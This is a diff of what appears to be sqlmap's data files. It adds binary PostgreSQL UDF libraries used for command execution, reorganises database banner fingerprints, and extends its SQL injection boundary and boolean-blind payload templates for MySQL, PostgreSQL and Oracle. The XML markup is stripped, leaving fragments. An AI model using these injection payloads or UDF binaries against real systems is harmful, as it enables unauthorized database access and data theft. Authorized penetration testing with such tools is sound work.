b/data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..b99ca82a6e1 Binary files /dev/null and b/data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..a2cd6d0a489 Binary files /dev/null and b/data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..06fb9c5c402 Binary files /dev/null and b/data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..7cccc431ae2 Binary files /dev/null and b/data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..c76da8447e0 Binary files /dev/null and b/data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..9277aae7a94 Binary files /dev/null and b/data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..24f3d59c232 Binary files /dev/null and b/data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..6c91514f86f Binary files /dev/null and b/data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..d824417f8d0 Binary files /dev/null and b/data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..9180a86f4ca Binary files /dev/null and b/data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..10fba3c2886 Binary files /dev/null and b/data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..85f6ca870c0 Binary files /dev/null and b/data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..f69fbc0fe20 Binary files /dev/null and b/data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..4ea7da48e19 Binary files /dev/null and b/data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..a4be1336c01 Binary files /dev/null and b/data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..a3ec416225b Binary files /dev/null and b/data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..38ec17219dc Binary files /dev/null and b/data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..00d976ae754 Binary files /dev/null and b/data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..596348cc317 Binary files /dev/null and b/data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..a7ad6721419 Binary files /dev/null and b/data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..332b7d83d89 Binary files /dev/null and b/data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..c45548dac19 Binary files /dev/null and b/data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_ b/data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_ new file mode 100644 index 00000000000..5e8fafd2e86 Binary files /dev/null and b/data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_ differ diff --git a/data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ b/data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ new file mode 100644 index 00000000000..a7bd7d9cfca Binary files /dev/null and b/data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ differ diff --git a/data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ b/data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ new file mode 100644 index 00000000000..8dad9a0ebd5 Binary files /dev/null and b/data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ differ diff --git a/data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ b/data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ new file mode 100644 index 00000000000..0b8fd2fea8e Binary files /dev/null and b/data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ differ diff --git a/xml/banner/generic.xml b/data/xml/banner/generic.xml similarity index 50% rename from xml/banner/generic.xml rename to data/xml/banner/generic.xml index 9a221fd91bc..723d31bd527 100644 --- a/xml/banner/generic.xml +++ b/data/xml/banner/generic.xml @@ -3,7 +3,7 @@ - + @@ -27,46 +27,53 @@ - - + + - - + + + + - - + + - - - + + + + + + + + + + - + - + - + - + - + - + @@ -76,6 +83,10 @@ + + + + @@ -108,11 +119,23 @@ + + + + - + + + + + + + + + @@ -128,7 +151,39 @@ - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + @@ -144,11 +199,22 @@ - + - - + + + + + + + + + + + + + diff --git a/xml/banner/mssql.xml b/data/xml/banner/mssql.xml similarity index 95% rename from xml/banner/mssql.xml rename to data/xml/banner/mssql.xml index f3d5eceba51..9a0115003a2 100644 --- a/xml/banner/mssql.xml +++ b/data/xml/banner/mssql.xml @@ -1,5 +1,195 @@ + + + + + 16.0 + + + + + + + 16.0.1000.6 + + + 0 + + + + + + + 15.0 + + + + + + + 15.0.2000.5 + + + 0 + + + + + + + 14.0 + + + + + + + 14.0.1000.169 + + + 0 + + + + + + + 13.0 + + + + + + + 13.0.1601.5 + + + 0 + + + + + 13.0.4001.0 + + + 1 + + + + + 13.0.5026.0 + + + 2 + + + + + 13.0.6300.2 + + + 3 + + + + + + + 12.0 + + + + + + + 12.0.2000.8 + + + 0 + + + + + 12.0.4100.1 + + + 1 + + + + + 12.0.5000.0 + + + 2 + + + + + 12.0.6024.0 + + + 3 + + + + + + + 11.0 + + + + + + + 11.0.2100.60 + + + 0 + + + + + 11.0.3000.0 + + + 1 + + + + + 11.0.5058.0 + + + 2 + + + + + 11.0.6020.0 + + + 3 + + + + + 11.0.7001.0 + + + 4 + + + diff --git a/data/xml/banner/mysql.xml b/data/xml/banner/mysql.xml new file mode 100644 index 00000000000..1af92764548 --- /dev/null +++ b/data/xml/banner/mysql.xml @@ -0,0 +1,106 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/xml/banner/oracle.xml b/data/xml/banner/oracle.xml similarity index 100% rename from xml/banner/oracle.xml rename to data/xml/banner/oracle.xml diff --git a/data/xml/banner/postgresql.xml b/data/xml/banner/postgresql.xml new file mode 100644 index 00000000000..7f03e8e8c4a --- /dev/null +++ b/data/xml/banner/postgresql.xml @@ -0,0 +1,16 @@ + + + + + + + + + + + + + + + + diff --git a/xml/banner/server.xml b/data/xml/banner/server.xml similarity index 75% rename from xml/banner/server.xml rename to data/xml/banner/server.xml index 0fcb29519f6..4d99cade0bd 100644 --- a/xml/banner/server.xml +++ b/data/xml/banner/server.xml @@ -3,12 +3,16 @@ + + + + @@ -70,19 +74,31 @@ - + - + - + - + + + + + + + + + + + + + @@ -123,28 +139,36 @@ - - - - - - - - - + - + - + - + + + + + + + + + + + + + + + + + @@ -249,6 +273,63 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + @@ -347,6 +428,34 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + @@ -527,6 +636,10 @@ + + + + @@ -642,6 +755,26 @@ + + + + + + + + + + + + + + + + + + + + @@ -708,9 +841,103 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/xml/banner/servlet.xml b/data/xml/banner/servlet-engine.xml similarity index 64% rename from xml/banner/servlet.xml rename to data/xml/banner/servlet-engine.xml index 75106859d74..c34d9617e1b 100644 --- a/xml/banner/servlet.xml +++ b/data/xml/banner/servlet-engine.xml @@ -3,10 +3,18 @@ - + + + + + + + + + diff --git a/data/xml/banner/set-cookie.xml b/data/xml/banner/set-cookie.xml new file mode 100644 index 00000000000..6f7bed59c02 --- /dev/null +++ b/data/xml/banner/set-cookie.xml @@ -0,0 +1,93 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/xml/banner/sharepoint.xml b/data/xml/banner/sharepoint.xml similarity index 100% rename from xml/banner/sharepoint.xml rename to data/xml/banner/sharepoint.xml diff --git a/xml/banner/x-aspnet-version.xml b/data/xml/banner/x-aspnet-version.xml similarity index 100% rename from xml/banner/x-aspnet-version.xml rename to data/xml/banner/x-aspnet-version.xml diff --git a/data/xml/banner/x-powered-by.xml b/data/xml/banner/x-powered-by.xml new file mode 100644 index 00000000000..f52fd9aad2a --- /dev/null +++ b/data/xml/banner/x-powered-by.xml @@ -0,0 +1,69 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/xml/boundaries.xml b/data/xml/boundaries.xml similarity index 77% rename from xml/boundaries.xml rename to data/xml/boundaries.xml index aa9e75eee02..e184ff21c7a 100644 --- a/xml/boundaries.xml +++ b/data/xml/boundaries.xml @@ -31,6 +31,7 @@ Tag: 6: TOP 7: Table name 8: Column name + 9: Pre-WHERE (non-query) A comma separated list of these values is also possible. @@ -53,6 +54,9 @@ Tag: 3: LIKE single quoted string 4: Double quoted string 5: LIKE double quoted string + 6: Identifier (e.g. column name) + 7: Block comment + 8: Alternative quoted string (e.g. PostgreSQL $$...$$, Oracle q'[...]') Sub-tag: A string to prepend to the payload. @@ -80,7 +84,7 @@ Formats: 1,2 1 ) - + [GENERIC_SQL_COMMENT] @@ -89,7 +93,7 @@ Formats: 1,2 2 ') - + [GENERIC_SQL_COMMENT] @@ -98,7 +102,7 @@ Formats: 1,2 2 ' - + [GENERIC_SQL_COMMENT] @@ -107,7 +111,7 @@ Formats: 1,2 4 " - + [GENERIC_SQL_COMMENT] @@ -211,6 +215,15 @@ Formats: AND ((('[RANDSTR]' LIKE '[RANDSTR] + + 2 + 1 + 1,2 + 3 + %' + AND '[RANDSTR]%'='[RANDSTR] + + 2 1 @@ -293,149 +306,146 @@ Formats: - 2 + 1 1 1,2 - 2 - %') - AND ('%'=' + 1 + + [GENERIC_SQL_COMMENT] 3 1 1,2 - 2 - %')) - AND (('%'=' + 1 + + # [RANDSTR] + - 4 + 3 1 1,2 2 - %'))) - AND ((('%'=' + ' + OR '[RANDSTR1]'='[RANDSTR2] + + - 1 - 1 + 5 + 9 1,2 2 - %' - AND '%'=' + ') WHERE [RANDNUM]=[RANDNUM] + [GENERIC_SQL_COMMENT] + 4 - 1 + 9 1,2 - 2 - %") - AND ("%"=" + 1 + ) WHERE [RANDNUM]=[RANDNUM] + [GENERIC_SQL_COMMENT] - 5 - 1 + 4 + 9 1,2 2 - %")) - AND (("%"=" + ' WHERE [RANDNUM]=[RANDNUM] + [GENERIC_SQL_COMMENT] 5 - 1 + 9 1,2 - 2 - %"))) - AND ((("%"=" + 4 + " WHERE [RANDNUM]=[RANDNUM] + [GENERIC_SQL_COMMENT] - 3 - 1 + 4 + 9 1,2 - 2 - %" - AND "%"=" + 1 + WHERE [RANDNUM]=[RANDNUM] + [GENERIC_SQL_COMMENT] 5 - 1 - 1,2 + 9 + 1 2 - %00') - AND ('[RANDSTR]'='[RANDSTR] + '||(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM] + )||' 5 - 1 - 1,2 + 9 + 1 2 - %00')) - AND (('[RANDSTR]'='[RANDSTR] + '||(SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM] + )||' 5 - 1 - 1,2 + 9 + 1 2 - %00'))) - AND ((('[RANDSTR]'='[RANDSTR] + '+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM] + )+' + + + - 4 + 5 1 1,2 2 - %00' - AND '[RANDSTR]'='[RANDSTR] + ')) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM] + [GENERIC_SQL_COMMENT] - - 1 - 1 - 1,2 - 1 - - -- [RANDSTR] - - 3 + 5 1 1,2 1 - - # [RANDSTR] + )) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM] + [GENERIC_SQL_COMMENT] - - - 5 + 4 1 1,2 2 - ') WHERE [RANDNUM]=[RANDNUM] - -- + ') AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM] + [GENERIC_SQL_COMMENT] 5 1 1,2 - 2 - ") WHERE [RANDNUM]=[RANDNUM] - -- + 4 + ") AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM] + [GENERIC_SQL_COMMENT] @@ -443,140 +453,123 @@ Formats: 1 1,2 1 - ) WHERE [RANDNUM]=[RANDNUM] - -- + ) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM] + [GENERIC_SQL_COMMENT] 4 1 - 1,2 - 2 - ' WHERE [RANDNUM]=[RANDNUM] - -- + 1 + 6 + ` WHERE [RANDNUM]=[RANDNUM] + [GENERIC_SQL_COMMENT] + + + - 5 - 1 + 4 + 1,2,3 1,2 - 4 - " WHERE [RANDNUM]=[RANDNUM] - -- + 7 + */ + /* + 4 - 1 - 1,2 - 1 - WHERE [RANDNUM]=[RANDNUM] - -- + 8 + 1 + 6 + `=`[ORIGINAL]` + AND `[ORIGINAL]`=`[ORIGINAL] - - 5 - 1 - 1,2 - 2 - ')) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM] - -- + 8 + 1 + 6 + "="[ORIGINAL]" + AND "[ORIGINAL]"="[ORIGINAL] 5 - 1 - 1,2 - 2 - ")) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM] - -- + 8 + 1 + 6 + ]-(SELECT 0 WHERE [RANDNUM]=[RANDNUM] + )|[[ORIGINAL] + 5 - 1 - 1,2 - 1 - )) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM] - -- + 7 + 1 + 6 + [RANDSTR1], + [RANDSTR2] + 4 1 - 1,2 + 1 2 - ') AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM] - -- + ' IN BOOLEAN MODE) + # + + 5 1 1,2 - 4 - ") AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM] - -- + 8 + $$ + [GENERIC_SQL_COMMENT] - - 4 + 5 1 1,2 - 1 - ) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM] - -- + 8 + ]' + [GENERIC_SQL_COMMENT] - - - 5 1 - 1 - 2 - '||(SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM] - )||' + 1,2 + 8 + }' + [GENERIC_SQL_COMMENT] - 5 1 - 1 - 2 - '||(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM] - )||' - - - - 5 - 1 - 1 - 1 - '+(SELECT [RANDSTR] WHERE [RANDNUM]=[RANDNUM] - )+' + 1,2 + 8 + )' + [GENERIC_SQL_COMMENT] - 5 1 - 1 - 2 - '+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM] - )+' - - - - - - 4 - 1 - 1 - 2 - ' IN BOOLEAN MODE) - # + 1,2 + 8 + >' + [GENERIC_SQL_COMMENT] - + diff --git a/data/xml/errors.xml b/data/xml/errors.xml new file mode 100644 index 00000000000..706994f12de --- /dev/null +++ b/data/xml/errors.xml @@ -0,0 +1,271 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/xml/payloads/01_boolean_blind.xml b/data/xml/payloads/boolean_blind.xml similarity index 74% rename from xml/payloads/01_boolean_blind.xml rename to data/xml/payloads/boolean_blind.xml index 19f2b1ce9e8..1e5d378004a 100644 --- a/xml/payloads/01_boolean_blind.xml +++ b/data/xml/payloads/boolean_blind.xml @@ -53,6 +53,7 @@ Tag: 6: TOP 7: Table name 8: Column name + 9: Pre-WHERE (non-query) A comma separated list of these values is also possible. @@ -159,7 +160,7 @@ Tag: 1 1 1 - 1 + 1,8,9 1 AND [INFERENCE] @@ -175,7 +176,7 @@ Tag: 1 1 3 - 1 + 1,9 2 OR [INFERENCE] @@ -187,7 +188,57 @@ Tag: - AND boolean-based blind - WHERE or HAVING clause (Generic comment) + OR boolean-based blind - WHERE or HAVING clause (NOT) + 1 + 3 + 3 + 1,9 + 1 + OR NOT [INFERENCE] + + OR NOT [RANDNUM]=[RANDNUM] + + + OR NOT [RANDNUM]=[RANDNUM1] + + + + + AND boolean-based blind - WHERE or HAVING clause (subquery - comment) + 1 + 2 + 1 + 1,8,9 + 1 + AND [RANDNUM]=(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) + + AND [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) + [GENERIC_SQL_COMMENT] + + + AND [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) + + + + + OR boolean-based blind - WHERE or HAVING clause (subquery - comment) + 1 + 2 + 3 + 1,9 + 2 + OR [RANDNUM]=(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) + + OR [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) + [GENERIC_SQL_COMMENT] + + + OR [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) + + + + + AND boolean-based blind - WHERE or HAVING clause (comment) 1 2 1 @@ -196,7 +247,7 @@ Tag: AND [INFERENCE] AND [RANDNUM]=[RANDNUM] - -- + [GENERIC_SQL_COMMENT] AND [RANDNUM]=[RANDNUM1] @@ -204,7 +255,7 @@ Tag: - OR boolean-based blind - WHERE or HAVING clause (Generic comment) + OR boolean-based blind - WHERE or HAVING clause (comment) 1 2 3 @@ -213,13 +264,30 @@ Tag: OR [INFERENCE] OR [RANDNUM]=[RANDNUM] - -- + [GENERIC_SQL_COMMENT] OR [RANDNUM]=[RANDNUM1] + + OR boolean-based blind - WHERE or HAVING clause (NOT - comment) + 1 + 4 + 3 + 1 + 1 + OR NOT [INFERENCE] + + OR NOT [RANDNUM]=[RANDNUM] + [GENERIC_SQL_COMMENT] + + + OR NOT [RANDNUM]=[RANDNUM1] + + + AND boolean-based blind - WHERE or HAVING clause (MySQL comment) 1 @@ -260,6 +328,26 @@ Tag: + + OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment) + 1 + 3 + 3 + 1 + 1 + OR NOT [INFERENCE] + + OR NOT [RANDNUM]=[RANDNUM] + # + + + OR NOT [RANDNUM]=[RANDNUM1] + +
+ MySQL +
+ + AND boolean-based blind - WHERE or HAVING clause (Microsoft Access comment) 1 @@ -324,7 +412,7 @@ Tag: 1 3 1 - 1,2,3 + 1,2,3,8 1 AND MAKE_SET([INFERENCE],[RANDNUM]) @@ -362,7 +450,7 @@ Tag: 1 4 1 - 1,2,3 + 1,2,3,8 1 AND ELT([INFERENCE],[RANDNUM]) @@ -396,18 +484,18 @@ Tag: - MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (bool*int) + MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) 1 5 1 - 1,2,3 + 1,2,3,8 1 - AND ([INFERENCE])*[RANDNUM] + AND EXTRACTVALUE([RANDNUM],CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 0x3A END) - AND ([RANDNUM]=[RANDNUM])*[RANDNUM1] + AND EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 0x3A END) - AND ([RANDNUM]=[RANDNUM1])*[RANDNUM1] + AND EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 0x3A END)
MySQL @@ -415,104 +503,155 @@ Tag: - MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (bool*int) + MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) 1 5 3 - 1,2,3 + 1,2,3,8 2 - OR ([INFERENCE])*[RANDNUM] + OR EXTRACTVALUE([RANDNUM],CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 0x3A END) - OR ([RANDNUM]=[RANDNUM])*[RANDNUM1] + OR EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 0x3A END) - OR ([RANDNUM]=[RANDNUM1])*[RANDNUM1] + OR EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 0x3A END)
MySQL
- - - MySQL >= 5.0 boolean-based blind - Parameter replace + PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST) 1 - 1 + 2 1 - 1,2,3 - 3 - (SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) + 1,8 + 1 + AND (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) + AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) + AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL
- MySQL - >= 5.0 + PostgreSQL +
+ + + + PostgreSQL OR boolean-based blind - WHERE or HAVING clause (CAST) + 1 + 3 + 3 + 1 + 2 + OR (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL + + OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL + + + OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL + +
+ PostgreSQL
- MySQL >= 5.0 boolean-based blind - Parameter replace (original value) + Oracle AND boolean-based blind - WHERE or HAVING clause (CTXSYS.DRITHSX.SN) 1 2 1 - 1,2,3 - 3 - (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) + 1 + 1 + AND (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) + AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) + AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL
- MySQL - >= 5.0 + Oracle +
+ + + + Oracle OR boolean-based blind - WHERE or HAVING clause (CTXSYS.DRITHSX.SN) + 1 + 3 + 3 + 1 + 2 + OR (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL + + OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL + + + OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL + +
+ Oracle
